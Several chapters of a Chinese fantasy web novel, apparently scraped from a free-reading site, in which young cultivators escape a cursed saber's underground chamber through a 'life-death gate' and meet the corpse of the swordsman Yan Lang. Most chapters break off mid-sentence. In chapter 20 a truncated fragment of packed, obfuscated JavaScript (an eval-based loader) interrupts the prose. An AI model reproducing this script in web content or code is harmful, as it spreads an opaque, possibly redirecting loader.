这些器灵执念深重至此,别的记不清,主人姓名总归不可能忘的。 “七绝宗高睿。” “无量阙徐永。” “逍遥宫丘天禄。” …… 一个个枉死弟子的姓名由崔惊厄代为报出。 谢扶光默然听着,在心底暗暗记下。 及至此刻,她依然对当前秘境的真假持怀疑态度。 阴玉钥的传送设置莫名出了差错;颜琅的郎绝刀成了为祸一方的邪器;看似太平的修真界兀地多出这许多枉死之人…… 每一样都明晃晃写着离谱,可亲身的体验偏又那么真实。 “是不是觉得,做梦都不敢这么做?”崔惊厄见她出神,出言点她,“仔细听,到你们宗的人了。” “渡业山江星。”故意似的,五个字叫他说得尤其字正腔圆。 谢扶光眉心一跳,盯着记忆里江星的剑,目光咄咄:“江星今年才到入万里悲丘试炼的年纪。” “你确定,他死在这儿很久了?” “它说,它的主人江星的确死了,”崔惊厄转述,“江星之前虽未参加过试炼,却来过一次万里悲丘。” “他那次前来似乎因为一个梦,梦的内容江星没有告诉他的剑灵,至于进入万里悲丘后的事,剑灵则记不清了。” 谢扶光发现了,这些器灵失忆失得相当挑食,单把最重要的部分摘出去了。 “丘天禄……”这时,一旁圆脸兄突然轻啧一声,“是逍遥宫的那个吧,我没听错吧,这是我们宗门的师兄啊,人还活得好好的,怎么就被你们说死了呢?” 他一开腔,又有几人出声应和:“刚刚我好像也听见我师姐的名了。” “还有我的!虽然徐师兄不知在万里悲丘受了什么刺激,回去后性情就变得不太讨喜,但人确实还没凉啊。” “而且高睿师兄的灵力注入过仙盟命石,如果他死,命石会灭的。” 各宗资质极佳的弟子拥有将灵力注入仙盟命石的资格,一旦身陨,命石中的灵力跟着寂灭,守石弟子会第一时间上报至高层。 换句话说,他们若死,根本瞒不过仙盟。 谢扶光只听着,并不作声,她在心下咀嚼“身陨”二字,总觉得忽略了什么。 器灵们口口声声说自家主人死了,它们一片忠心天地可鉴,应当不会出言咒之,谢扶光对它们的话持相信态度。可命石为何不灭?难道也有一只看不见的手对其做了手脚?或者有什么可以不被命石察觉的死法么? 她敛眉静思,未留意祭坛中一只刀灵幽幽飘到了她身前。 “大小姐,”崔惊厄在旁欠嗖嗖提醒,“给个回应啊,这只刀灵看上你了!” 想不通所以然,本来就烦,崔惊厄还在旁捣乱,谢扶光提起乐命就要往他肩头敲。 “诶~”病秧子骨骼清奇,灵活躲开,后怕似的拍拍娇弱的小心脏,面上依然挂笑,“真没骗你,刀灵说啊,觉得大小姐你是习刀的天才,想把毕生修为传给你呢!” “我要它的修为干……”谢扶光正待拒绝,心念一转,话到嘴边改了口,“也好。” 适才那几只器灵燃烧灵魄加在她身上的能力仅能短时维系,只怕撑不到他们通关就要消散,待出了秘境,她要怎么确认此间种种是真实存在,而非单纯只是关卡? 有了修为就可以判断了,倘若在此秘境外,刀灵传她的修为依然流动于她的灵脉,便足以证明这段经历是真实的,那它们的话就得好好考量了。 谢扶光艺高人胆大,从无三思后行的习惯,念头既起,当即原地打坐,掌心上翻。刀灵与她右腕间很快建起一道灵气衔接,看不见的修为无声涌动。 她此举其实很草率,修为传递过程中一旦出岔子,其后果相当致命。 她自己不在意,可有人替她操心。 卢笑绒第一个上前,护在她身周,还不忘拉上崔惊 17.右手剑 《秘境改命,顺便通关》全本免费阅读 记忆里,他身边还有一个玩伴。 从前的事在崔惊厄心中大多仅余模糊旧影,那名玩伴的形貌也如文墨洇水,只留一个黯淡遗迹。 但两人间的一段陈旧对谈,在此时此刻莫名清晰起来。 “你不许再不开心!”是个女声。 说话的同伴挺霸道,连他高不高兴都管。 崔惊厄忘记了自己当时做何回复,但应该没有如同伴的意,因为他很快听见她又说:“那……那我给你讲个笑话吧。” 有点奇怪,她分明讲着笑话,面容又模糊不清,可他就是觉得她当时的表情大概是皱着眉头的,或许有些不耐烦,却又不知为何不耐烦。 “有一天,小蚯蚓哭着对母亲说,父亲死了。 母亲不信,蚯蚓哪怕从中间断掉,也是可以活的,她寂寞时就经常把自己分开成两个,相互陪伴着解闷,打麻将三缺一还能从自己身上拆一截。 可小蚯蚓还是哭,它说父亲有一个成立蹴鞠队的梦想,没人跟它一起梦,它就干脆把自己解体成渣了……” 笑话讲完,小崔惊厄非但没笑,反而更不开心了。 “一点都不好笑,”他听见自己的声音,还带点羞耻的粘牙感,“谁给你讲的黑笑话?” “我父亲。” 提及她父亲,崔惊厄骤然生出一种发自内心的不适,想提醒同伴一句什么,却见坏脾气的小姑娘霍然起身。 “既然觉得不好笑,你就一个人在这儿难过吧,我可没空再管你,我还要练刀!” 她的声音其实也有点粘牙,裹着怒气,脆生生的。 崔惊厄不知怎的,思绪同精神状态一样癫,兀地就从这粘牙的暴躁小奶糖跳到了渡业山的臭脸大小姐。 大小姐还在接纳来自刀灵的修为。 这种时候万不可有人搅扰。 蚯蚓断掉犹能成活。 郎绝刀也断成了两截。 多年来,郎绝一直在受蚯蚓供奉。 …… 混沌间一阵恶寒侵袭后脊,崔惊厄汗毛难得起立,愕然回头,只见蚯蚓们与郎绝断裂的刀身之间,那丝线般细的黑色雾气陡然粗了数倍不止。 郎绝断掉的两截在这一霎暴起,双双直扑向犹闭目打坐的谢扶光。 小美人反应极快,龙身盘旋,当即缠上距它更近的刀柄,余下的刀尖部分却直插进器灵们的两层包围。 变生陡然,器灵们近年饱受郎绝摧残,大多不似从前善战,最外圈的器灵有所反应时,冷刃已然擦它们而过,去势不减。 最里圈的器灵虽多了一息反应时间,却并非郎绝的对手。 它本就是名刃,又多年跟随颜琅征战,对上谢扶光虽落下风,却也是热血里淬出的锋芒,加之燃烧器灵灵魄后的余威犹在,破开精力体力皆不济的器灵包围简直易如反掌。 眼见郎绝刀尖直捣黄龙,不偏不倚正对谢扶光胸口刺来,卢笑绒惊惶之下飞身欲挡。 谢扶光长眉轻蹙。 她虽闭目打坐,对周围一切仍有感应,当然不会安然看卢笑绒为她挡下这一刀。 眼下刀灵与她之间的修为传送正处在最后也最关键的阶段,贸然中止受内伤事小,一旦气体走岔,走火入魔的风险也不是没有。 可刀尖直逼身前,来不及犹豫考量,谢扶光就要收手出招,而赶在她有所动作之前,一个如风黑影自郎绝刀尖之后利箭般射来。 藏蛟剑身反卷,险而又险擦着卢笑绒紧闭的睫毛将郎绝缠回。 “别分神。”崔惊厄的声音有点紧绷,字节短促,尾音飘荡,却如有魔力,瞬间令谢扶光心安下来。 她起伏的灵脉重归平稳,修为传送随之突破最后的小高峰,步入尾声。 在祭台旁看到蚯蚓与郎绝之间那道黑气的一瞬,崔惊厄身随念转,饶是未理清事情的来龙去脉,已然在往回赶。 果然,半路就见郎绝发了疯般直朝谢扶光飞去。 郎绝去势太猛,又带着死而复生的恨意,这困兽犹斗的一刀,单凭他的左手剑怕是难以拦下,而一旦留给它半点可乘之机,谢扶光那边定要出问题。 郎绝暴起的一瞬,他在半空把藏蛟换到了右手。 郎绝虽快,崔惊厄比它更快,他轻功卓绝,脚尖点在沿途祭坛借力,一息之间已补上差距,在器灵们的两层包围溃散后及时将它拦下,中途还安抚了谢扶光一句。 右腕脉搏中灵力奔涌,藏蛟剑身闪烁灼目红光,小美人如有感应,痛快发出一声龙啸。 崔惊厄的右手剑速度惊人,一错眼光景,郎绝刀身已被他连切十几道,叮叮当当碎成一地刀片。 刀片落地的泠音里,崔惊厄背对瞠目的众人,长剑拄地撑了一下,堪堪站稳。 他左手死死按紧发颤的右腕,掌心之下是一圈红线一样的血色暗纹。 暗纹不祥地闪烁,痛意自皮肉侵蚀到筋脉骨骼,在整个右腕爆开熟悉的疼,齐根断掉一样,疼痛又很快沿着灵脉蔓延至脏腑,沿途搅乱一团内脏。 崔惊厄牙关咬得死紧,仿佛下一息就要碎裂,在潮浪般汹涌的痛感里兀地自嘲哼笑一声。 从前他的右手不是这样。 第一次这么疼是在两年前。 记忆里那是个很普通的日子,他如往常一样晨起练剑,右腕却莫名生长出这种血色纹路。 他疼得浑身湿汗,蜷缩在地止不住发颤,半昏半醒间脑海深处有个声音告诉他: “当年你与你的眷侣亲手结下这条红线,却反目成仇,背叛了它,现在,便是它收取惩罚的时候……” 崔惊厄不记得自己有过所谓“眷侣”,下意识往记忆更深处回想。 也是从那时,他悄然发现,从前的事许多他都已记不清了…… 强撑着忍了好半晌,疼痛总算有了消退之势,一股腥甜自胸腔滚上喉头,崔惊厄单膝跪地,手捂前胸呕出一大口血。 随这口血,右腕红纹里的血色淡去,重归无形,唯余痛残留的颤抖和额前冷汗仍暴露着他的状态很不好。 “崔大哥你怎么了?”卢笑绒急匆匆跑来,声音里满 18.生死门 《秘境改命,顺便通关》全本免费阅读 崔惊厄朝自己斩落的一地刀片看去,没发现什么不对,这才回过味来,顺着那弟子手指的方向掠去一眼。 那里静静躺着一截断裂的刀柄。 很短,是被小美人用龙躯生生绞断的。 郎绝暴起攻来时,小美人将刀柄绞为了两段。 小美人并非有强迫症的龙,行事向来随意,两段里一段长些,一段短些,短的那段刻着“郎绝”二字刀名,是颜琅在世时亲手刻下的。 如今,长的不跑,却是这截短的失踪了。 “怎么办,”发现此事的弟子应是被镜面阵吓出了阴影,对这邪刀有着生理性畏惧,六神无主喃喃不停,“它……它不会还有后手吧,我们怎么才能赶快出去?” 他本是乱说一通,最后一句意外踩到了点上。 他们该如何从这儿出去? 被锁入镜面阵的弟子们诸如圆脸兄,是出局到半路被强抓来搞邪教的,入口在哪儿都不知; 谢扶光他们则是炸了人家坟头,又经历了漫长的自由落体,真真假假好一通,最终一刀劈开地面破了结界才落到这里。 这见鬼的地方究竟在地下哪个犄角旮旯,他们尚且不知,又何谈出去? 众人涌向石室中唯一的小门,那里之前被郎绝设了禁制,无法外出。 这会儿郎绝大半碎成了渣,小截剑柄沾崔惊厄那口血的光,趁乱出逃。禁制随着它的离开消失,众人齐聚门口,却没一个敢往外迈。 因为外面已是幽黑一片。 原本设作镜面阵的左侧石室随着阵破而湮灭,中间联通两边的小空间也跟着玩失踪,他们所处的右侧石室一下子成了茫茫黑海里漂浮的寂寞孤岛。 诡异又惊悚。 一名胆小的弟子双腿一软,继崔惊厄之后又跪了一个。 崔惊厄倒身残志坚,支棱着起身,却没跟着往门口凑,只是沉默地站到了谢扶光身边。 “大小姐,现在要怎么办?”他刚疼过,嗓音还哑着,搭配懒洋洋的语调,听不出着急,更像闲来找话。 谢扶光不应,他就吊儿郎当拖起长音:“别不理我呗,大家都知道我靠你罩了。” 崔惊厄身上染着淡淡血腥气,不难闻,但可能有点刺激,谢扶光能清晰感到太阳穴被那腥味牵动,一下一下扯着跳。 “你会吐血,是因为用了右手剑吧。”一股无名火不知被他的气息还是语气点燃,她霍然就转过身,绷着脸看他,开始还是猜测,到后面语气越发笃定,“包括日落时分我初见你,也是你在幻境里的意识体动用了右手剑。” 试炼正式开始前的幻境,进入其中的都是弟子们的意识体,意识体一旦受伤,不比真身严重,但也会对真身有所波及。 崔惊厄顺着话瞥了眼右腕,没浮起那条红线时,一切看起来都与常人无异。 他提起这只看似寻常的右手打了个不太响的指响:“不愧是大小姐,一猜即中。” 都说刀修莽,但谢扶光脑子一向很灵,通过一口血,连推带猜串起前因后果在他意料之中。 “吐血倒是小事,这手关键时刻还可堪一用,就是……”他顿了顿,卖了个惨,将话题拉回,“右腕灵脉有灵力流过时,会疼得比较严重,不必要的话,最好还是不自讨苦吃。所以呢,大小姐好人做到底,再护我一护?” 谢扶光一条直舌头战不过油嘴滑舌,她移开视线,从他身边擦过,转身的一瞬,肩膀撞了一下他的,不重也不轻。 谢扶光在生气。 她经常生没来由的气,大多时候,都气得朦朦胧胧,没什么实感。可这次,她能清晰感到胸腔不平静的起伏。 至于气的缘由,或许是因为被耍? 崔惊厄出右手剑之前,她一直当他是个能说会道的病美人,就连出手揍他时也始终留着情面,他对此也从不曾否认过。 但同理,他也没承认过病秧子的身份,算不上骗她,连点可供她指摘的错处都没有。 试想他这个人,从来如此,游鱼一样,让人琢磨不透又抓不住。 谢扶光厌恶这样的感觉,更准确说还有点隐隐的惧怕,潜意识里她总恍惚曾经也有这样一个不太着调的人,嘴里跑着马,眼底流着笑,说着笑着就从她掌心溜走了,徒留给她一种隐晦感觉,半个影子都没留下。 谢扶光没有沉溺于坏情绪的习惯,相反,她浑身上下战意点满,从小到大,即便对于骤然升起的躁意,她也会习惯性抵御。 她用了几步路时间,撤去对心底那股无名火的关注,心绪慢慢回归到当下处境。 现在理应是找出口的时候。 器墓迷阵的通关时间仅有十二时辰,眼下她们身处地底,不知已过去多久。 从镜面阵见到圆脸兄开始,整场试炼就歪曲到了另一种恐怖走向: 无法顺利通关事小,最怕阴玉钥再乱发个什么神通,将本该出局的弟子扔进某一邪地。 谢扶光双眼四下梭巡,寻找石室内有无线索遗漏,同时她的大脑也在极速运转。 她不相信这世上有没出口的地方,就算无传统意义上的门,也总该有什么具备传送功能的法器亦或机关。 谢扶光一根根梳理这些脉络,还真找到一处疏漏。 范莘! 他们在外一整晚,没有看到半空浮现他的出局信息,说明他不是作为出局弟子被阴玉钥传进来,况且他出现的方式也与魂魄被吸进镜面阵的弟子们完全不同。 那么在他身上究竟发生了什么? 谢扶光踅摸一圈,没发现范莘的人影。 “你在哪儿找到范莘的?”她问卢笑绒。 卢笑绒指向石室最深处:“我循着气息找过去时,他就缩在那个墙角,人瞧着像是傻了。” 用无尽绸覆盖所有“镜面”时,谢扶光曾匆匆扫过他一眼,看得不仔细,只瞥见他嘴角挂着诡异的笑,口中甚至淌下了涎水,她当时还深深替无尽绸恶心了一瞬。 说来惊奇,难得见范莘露出那种高兴神情,与初见那副臭脸大相径庭。 “他那个墙角可有特别之处?”谢扶光边向石室深处走,边问。 “刚刚找他找的匆忙,我也只是潦草扫了一眼,大体是很正常的,如果非要说有什么特别……”卢笑绒的眼力卓绝,“大概是他靠着的那面砖墙,有几块砖之间的缝隙明显比其他砖块更大些。” 通常机关之类的东西都设在这等不寻常之处。 所以,这间石室的出口很可能暗藏在那儿。 说话间她们已走到卢笑绒说的墙角,崔惊厄始终不远不近缀在身后,不时飘来一眼,又不敢太上前。 她们到时,墙角正缩着一人,是谢扶光遍寻不见的范莘。 他这会儿痴痴傻傻,对这墙角感情倒浓烈,一得空闲就苟过来。 范莘双手抱膝缩在墙角,面部表情很值得细品,时而淡然时而癫狂,嘴角那抹邪笑倒一直都在。 奇怪的是,他 19.生死谜团 《秘境改命,顺便通关》全本免费阅读 俞澹其人,谢扶光略有耳闻,此人也是一名刀修,天资不算拔尖,却也不差,修真界称颂他通常会说其性情宽宏,很能服众,对弟子们都很关心。 此外,他平生最大成就大抵是培养出了颜琅这个上一代的刀修第一人。 俞澹即是颜琅的授业恩师。 生死门上俞澹的名字被刻得横平竖直,相当工整,每一笔从头至尾力道都很均匀,很难不令谢扶光疑心郎绝有那么点强迫症。 她往生死门的另一侧找去,果然在与“俞澹”对称的位置发现了另一个名字。 颜琅。 看到的一瞬,谢扶光第一时间想的竟不是两人的关联,她突然就生出了一股诡异的幸灾乐祸:郎绝只在刀身一面生出独眼,另一面没有,也不知得多难受。 唇角轻轻勾起,她在心绪里沉了两秒,才惊觉自己在走什么见鬼的神。 果然堕落仅在一瞬间,千防万防,还是被崔惊厄这团不着调的大黑墨染污了。 思路回归正道,据她所知,颜琅和俞澹是一对关系很好的师徒,俞澹一直很注重对颜琅的培养,重视程度堪比谢白扇对她的用心,颜琅也从来尊师重道。 如今这对师徒却以非生即死的形式并排列在这里,相当匪夷所思。 见谢扶光在这边驻足,其余弟子们饶是都觉她不好相处,没头苍蝇一通乱转后,也跟着聚过来。 器灵们一并飞到此处。 “生死门!”一名弟子离老远就惊叫起来,显然对此门有些了解。 “我叫柴辟途,是无量阙的器修,”柴辟途看起来状态还不错,大概也是这一批入万里悲丘试炼的弟子,没在镜面阵中困太久,他迎着所有人的视线,迅速解释,“我在典籍中读到过这种门的记载,生死门以中线为轴,启动时一侧向内开,一侧向外,两侧分别连着不同空间。但是……” 他语气陡然加重:“生死门两侧开不代表两侧都能出入!” “两侧门皆为单向,启动前我们需要选择其中一边,将灵力注入门上印刻的标记……” 说到这儿,柴辟途走到门前寻找片刻,将颜琅和俞澹的名字指给大家看:“这扇门的标记大概就是这两个人名了,我们必须找到代表生门的那个名字,只有生门之后才是出口。” “这怎么找?它随便写两个名,我们哪知道孰生孰死,这不就是赌命么?”有人说。 “不,生死门上标记不可随便写,”柴辟途说,“写于生门一侧的标记必须是设此门者真心看重的人或物,相反,死门一侧的标记它也必须得真心厌恶,如此生死门才能设成。” “那如果选错了呢?”虽然有了点依据,那人仍是忧心忡忡。 “一旦选错,”柴辟途沉默少顷,“必死无疑。” “我们将灵力注入选好的名字后,那一侧的半扇门会形成一个单向出口,而另一侧则是单向入口,即便门开后发现选错,我们也没法更改,因为从另一侧根本出不去。” “而且,如果我们错选了死门,死门之后大概率潜藏着重重危险,我们明知如此却也不能不走。因为生死门开的同时,门内立刻开始塌陷,唯往外走才有机会活。” 胆小的弟子们听得面如菜色。 谢扶光依然平静,这个时候还能沉着发问:“你说生死门启动后,我们没有选择的一侧会成为单向入口。也就是说,纵使我们选择的确是生门,在外出的过程中,也会遭遇内部坍塌与另一侧死门中危险涌入的双重危机?” 柴辟途抿唇:“本来不想说得这么……但确实如此。” 他话音一落,弟子们忐忑的私语声炸开了锅。 没出去的线索时,他们焦躁乱转,这会儿有了生死门,又畏首畏尾起来。 “呀!一生一死,有一半把握选对呢!”不安低语中突兀插进一句惊喜发言,因太格格不入,登时吸引了大片视线。 崔惊厄双手环臂斜斜倚着墙,一条长腿直伸出来,脚掌有一搭没一搭地晃,松弛得很:“街上算个卦,上上签也不足三成吧,通过此门的机会却是五成,多值得高兴!” 其余弟子:…… 根本高兴不起来。 拥有万里悲丘试炼资格的弟子其实都是各宗佼佼者,但天资高、武力强,不代表遇事能维持镇静。 对比之下,崔惊厄情绪稳定得令人瞠目。 “我们选哪一个呢?”处境本就艰难,还有队友无故发癫,一名弟子感到深重的绝望,问谢扶光时声音里竟带了哭腔。 谢扶光没有说话,要弄清哪边生哪边死,还得从郎绝、颜琅和俞澹这二人一剑的关系着手。 她转头向跟来的器灵:“你们跟郎绝同处一室这么久,有没有见过这扇门,或者听过他对颜琅、俞澹两个人的看法?” “郎绝经常说颜琅的坏话,说他蠢,还说他优柔寡断,似乎对它有很大成见。”一只鞭灵说。 其余器灵纷纷应声。 “它说这些,我们其实很不爱听,因为在我们看来,法器都要对主人很忠诚。” 谢扶光听着器灵的话,兀地想到郎绝也跟她说过一句“颜琅他才是最大的笑话”。 笑话二字就很值得细究。 颜琅生时光环满身,又因除魔而死,仙盟将他风光大葬,一生从头至尾都那么风光。 谢扶光实想不到这样一个伟岸的前辈与笑话有什么干系。 回想郎绝说“笑话”时那只独眼汩汩涌出的不甘,再联系器灵们说的蠢和优柔寡断,谢扶光觉得自己大概真是不通感情,她倒觉得郎绝对颜琅并无恶意,若非找出个解释,倒更像一种怒其不争的情绪。 谢扶光再看那扇生死门,上头的字应是郎绝亲自刻下,两个名字尽管大小、位置完全相同,细微处却有或许郎绝自己都忽略了的差别。 她更加仔细地审视门上姓名。 然后发现郎绝把“颜琅”刻得端正得过分,连刻痕深处都极尽平滑。谢扶光不通雕刻,但她记得谢白扇初把乐命交于她手时,柄上刻的刀名原是棱角锋锐的,是她长年累月擦拭、抚摸,才终成现在这副滑润模样。同颜琅两字的状态颇为相像。 相比之下,“俞澹”虽刻得更深邃,印痕里一些琐碎石屑却没有清理。而且,谢扶光总觉得这两个字深过了头,倒失了几分温柔。 “郎绝……它会逃去哪儿呢?”她突然喃喃问道,没有等谁答话,她斜过视线,定定看向郎绝剩下的那一段长刀柄。 在她看过去的瞬间,崔惊厄授意小美人一记眼色,小美人卷起那截刀柄很快飞回,甩着长尾交到谢扶光掌心。 谢扶光接过刀柄时,看了崔惊厄一眼, 20.颜琅尸身 “它若求死,何必逃这一场?”谢扶光回忆郎绝所为,“还非得死在自己划定的死门里,图什么?跟讨厌的东西到死都没法分开?” 郎绝不至于一早就预判到他们能发现生死门的秘密,又有复原符,提前做局害他们吧? “也对,你想清楚了,不后悔就行。”崔惊厄听后点点头,从容立到她身后,没有干涉她的选择,只将藏蛟剑从左手换到了右手。 谢扶光现在看见他右手拿剑就觉扎眼,蹙眉不悦:“你不信我?” “当然没有,”崔惊厄这么说,却也没将藏蛟换回去,“只是我见大小姐似乎有点犹豫,所以从善如流,也跟着犹豫了一下。” 两人几句话工夫,那厢弟子们已在如火如荼向着写俞澹的那一侧门注灵力。这里人不算多,不多时其余弟子们皆已注入完成,就差谢扶光、崔惊厄和卢笑绒三人。 弟子们纷纷望向这边,谢扶光没立刻动,只偏头看崔惊厄。 崔惊厄见她转头,倾上半身,耳朵凑近她,身体晃动间,散落的碎发发梢擦过她脸颊。 谢扶光的话顿了一顿,目光从他的脸看向那缕发,片刻又看回他的脸,然后才说:“让小美人叫一叫器灵们,要走一起走。” 崔惊厄眼波一转,与她的视线在半空一个交错,声音很轻:“早替你叫过了,但……抱歉,面子不够,没叫动。” 谢扶光觉得很麻烦:“它们在想什么?不走就是死,这样也不走?” “小美人也是这么问的,但它们说,这里是主人的埋骨地,它们因主人而生,主人死后,就已没了来路,从此这儿便是此心安处,也最合适做魂归之所。” “留得青山在的道理都不懂,真是愚忠。”或许被崔惊厄传染,谢扶光声音也轻起来,分明不算好话,因气势淡去不少,也显得有点柔软,“同为器灵,跟郎绝那精明东西倒大不一样。” 提及郎绝,又有一万个谜团,眼下显然不是该理解一把邪刀的合适时机,谢扶光深吸口气,摒去千头万绪,提步走向生死门边。 那里卢笑绒正守得死紧,生怕弟子们不等谢扶光和崔惊厄,提前开启封印。 谢扶光边走,边对崔惊厄说:“死在这儿是它们自己的决定,我无权干涉,但我受过它们恩惠,出于道义,还是想让小美人再替我劝一句。” 崔惊厄眉梢轻剔,听刀子嘴的大小姐做好事前鬼扯冠冕堂皇的借口。 “死者需要生者来铭记,而非新的死者去陪伴。”她说,“不要以忠诚为借口,做出一些更容易的选择。未来天高海阔,活着,即便只是传承下去他们的功法,也是有意义的。” 小美人代为转达谢扶光的意思时,她与崔惊厄已走到生死门前,“俞澹”印记里,十余名弟子的灵力正汩汩涌动,谢扶光右掌轻翻,在那字迹凹陷处又加注了一道,崔惊厄和卢笑绒紧随她后。 催动灵力开门前,谢扶光最后看了器灵们一眼。 它们依然滞留原地,不像有松动的意思。 她静静收回视线,没有表情。 灵力注入后,俞澹二字缓慢化形成为一把锁匙,与此同时门上一个圆点突兀出现,圆点不断扩大下凹,最终变作一个锁孔,一旦将灵力铸造的锁匙插入孔中,生死门即会开启。 集众人之力,锁匙缓慢移动、旋转,不多时已对准锁孔,距它仅一线距离。 在这最后关头,弟子们身后倏然闪过一道暗影,一只鞭灵越众而出,在锁匙的灵力上添了一道。 有它作开端,动摇涟漪般层层传递,感染向四周仍在挣扎犹豫的器灵,器灵们逐一上前,将灵力注入散发灵光的锁匙。 石室内一切活物的灵力皆已聚齐,锁匙在弟子与器灵们的控制下,一寸寸向锁孔深入。 锁孔其实不深,但大抵因疑虑未消,谢扶光下意识拖延了其深入的进程。 而就在锁匙入孔刚好一半时,生死门兀地开始震颤,这动静与先前郎绝断柄砸出的笃笃声不同,更像从整扇门的内部传出,仿佛门中包裹了什么活物。 传出动静的一刹,小美人立时躁动,头一遭不待崔惊厄召唤,贸然出剑,风一样盘旋到崔惊厄耳边。 崔惊厄近乎把吊儿郎当腌入味儿的神色难得一凝,他骤然抬眸,看向已大半没入锁孔的灵力锁匙,右手遽然提剑,妄图以一己之力将成形的灵力打散。 而不待灵力流经右腕灵脉,他右臂蓦然一痛,视线仓皇瞥过,竟是乐命的刀柄。 谢扶光细腕一抖,刀柄点在崔惊厄右臂的同时,注入生死门的灵力也随之变形,硬是在锁匙之上横生出一个细小尖突,微妙的卡顿阻住了生死门开的进程。 一众弟子因这剧变一愣,来不及困惑,器灵们的灵力已凝聚出一个更尖的尖刺,彻底把锁匙卡在锁孔之外,谢扶光借机将灵力抽出,半途与同样收回灵力的崔惊厄交换一个眼神,没说一句话,一息后两人已相当默契地推着众人灵力偏移“俞澹”一侧,直接印刻于“颜琅”之上。 颜琅二字迅速演化为新的锁匙,锁孔随之浮出。 “怎么回事?”有弟子惊叫,“你们疯了?” 谢扶光只抿唇紧盯那锁孔,不予理会。 崔惊厄倒是热心提醒:“等会儿腿脚都麻利点,不麻利的就把看家本事拿出来,要玩生死时速了!” 锁匙入孔,但听一道尖锐的石门转动声,剐着众人耳膜一阵刺痛,刺痛之后,混混沌沌的视野里,开启的门后竟出现了万里悲丘的熟悉黄沙。 “咦,这边真能出去……” 不待这弟子发出一声完整惊疑,印刻俞澹的死门一侧,一蓝衣男尸已从中进入,他浑身缭绕黑气,掩盖了面目,前胸还插着郎绝那截断裂刀柄。 男尸出现的一瞬,距他最近的几名弟子登时与他产生了黑雾链接。他们面目涨红,身体一点点悬空,手脚不受控制抽搐。 变生陡然,生门门口等着外出的弟子转眼瞥见,吓得腿一软,钉在原地忘了动作。 “快走!”谢扶光将他从怔愣中唤醒。 她自己则提起乐命,就要迎上那蓝衣男尸,斩去他与弟子们之间的黑雾。 而她脚下刚有动作,地面骤然一个塌陷,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在她看进去的一瞬,蓝衣男尸尸身笼罩的黑雾骤然溃散,显露出一张熟悉的脸。 谢扶光的第一反应是:淦! 短短一夜,她仿佛把二十年的魔幻事都经历了。 这男尸竟是颜琅的。 当年修真界倾一众大能之力未能寻到的尸首,郎绝为何要将它藏于死门之后? 它的刀柄又为何直插在颜琅心口,难道颜琅竟是被自己的刀所杀? 此外,死门只能进不得出,郎绝和颜琅都已这副模样,再用黑雾来收取“供奉”又有什么用呢? 正想着,颜琅那双无机质的眼骤然回神,谢扶光直觉不妙,果断想要避开,那双眼里却迸出浓重的血红颜色,谢扶光视线如被磁铁吸引,再难移动分毫。 更令她后脊微寒的是,她感到自己的魂魄不再安于身体,生机正一丝丝从躯壳抽离。 视野模糊一片,她没能看清,一缕新的黑雾正在颜琅与她之间悄然成形。 21.化险为夷 魂魄几欲出窍的剥离感兜头袭来,谢扶光浑身瞬间泄力,唯独握乐命的手惯性使然攥得死紧,饶是这样也没松开。 魂魄生生剥离躯壳的滋味相当难受,窒息灭顶般压下,周身每个关节、血液、骨骼都炸开难言的疼痛,谢扶光额头沁汗,但发不出声。 她确信过往岁月中从未有过类似经历,这样濒死的感受却意外熟悉。 更为熟悉的还有脑海里的天人交战。 她分明清楚该移开看向颜琅的视线,灵魂深处一个声音却一直在引诱:“看着他……认真看着他……” 从前也被这样支配过么? 她记不清了。 但她能感到一种强烈的忧怖:就像灵魂被控制,她曾把乐命插进过某个人的身体。 她亲眼看着,她无能挽回。 莫名又荒诞的恐惧促使着她,她用尽全身气力提起乐命,就要横在自己因灵魂抽离而涨红的纤细脖颈,仿佛若不如此,她便又要做出什么错事。 却听“啪嗒”一声,一只剑柄敲在她手腕,就像前不久她敲又要动用右手剑的崔惊厄那样。 “大小姐,醒醒。”崔惊厄的声音抵在她耳畔,砸进耳洞,冲撞出十足的心安感。 就像他还能活生生地同她说话,已是什么令人铭感五内的事了。 谢扶光心潮兀自汹涌,看进崔惊厄眼里,却始终一副木然状态。 “谢扶光。”他从身侧来到她面前,试图阻隔她看向颜琅的视线。 谢扶光依然没反应,目光像能穿透他的脸。 她的状态看起来很不好,比其余与颜琅形成黑雾链接的弟子还要差些,微扬的脖颈根根筋脉暴突,能看见红色发黑的血液在其间疾速奔涌。 崔惊厄情急,惯用的右手下意识直接扯上她左腕,试图催动灵力自体内将她唤醒,一时竟忘了他的右腕灵脉不宜有灵力流转。 手腕刮骨的疼卷土重来之时,灵力已如覆水难收,他腕上一个不稳,江海般汹涌的灵力自谢扶光经脉涌入。 短时间内灵力两次流经右腕,崔惊厄难受到了极致,眼前发黑,没察觉在被他牵起的瞬间,谢扶光左手上同样位置也浮现出与他相同的红线。 灵力由外侵入经脉,顺着血液逆流上大脑,化为一条红线,捆缚住谢扶光脑海中那个充满恶意的声音。 她如溺水之人终于浮出水面,不待把气息喘匀,睁眼的一瞬,神志迅速复归,万千杂念尽数摒弃,她甚至没有留意崔惊厄。 此时此刻,她只要斩碎颜琅那害人的尸体! 经这一会儿耽搁,石室现已坍塌得越发严重,谢扶光身如穿花蝴蝶,轻盈闪过四面八方砸落的砖瓦碎石,刀人合一,通体流动着澄澈的湛蓝灵光,笔直地向颜琅尸身刺去。 而就在刀刃距他仅一拳之隔时,原本插在他胸口的郎绝刀柄骤然自行拔出,横档在颜琅身前,舍身替他扛下了这一击。 谢扶光这一刀用了十成十的劲力,休说郎绝如今仅为一把断柄,便是它全盛之时,只怕也要再断一次。 两相碰撞之下,郎绝断柄自内溃为齑粉。 乐命刀却未能穿透这层齑粉,斩在颜琅躯体之上。 郎绝不知用了什么邪术,倾其所有也要为颜琅挡下这一击。 断柄粉碎的同时,郎绝散落于石室内的其余部分也应声而碎,它设下的那些祭台、祭坛、甚至生死门,都一并碎裂了。 它自杀式粉碎的行为,不但阻隔了乐命斩向颜琅尸身的刀刃,更带来了大麻烦。 石室中碎砖瓦砾飞溅得更加严重,几欲整个坍塌压下,同时生死门通向外界的出口也开始迅速闭合,眼见就要将他们困死其中。 而在这样关头,颜琅的尸身却凭空消失了。 必不能让他逃! 谢扶光冒出这样堪称偏执的念头,她持刀就要四下搜寻,一只手却扯住了她衣角。 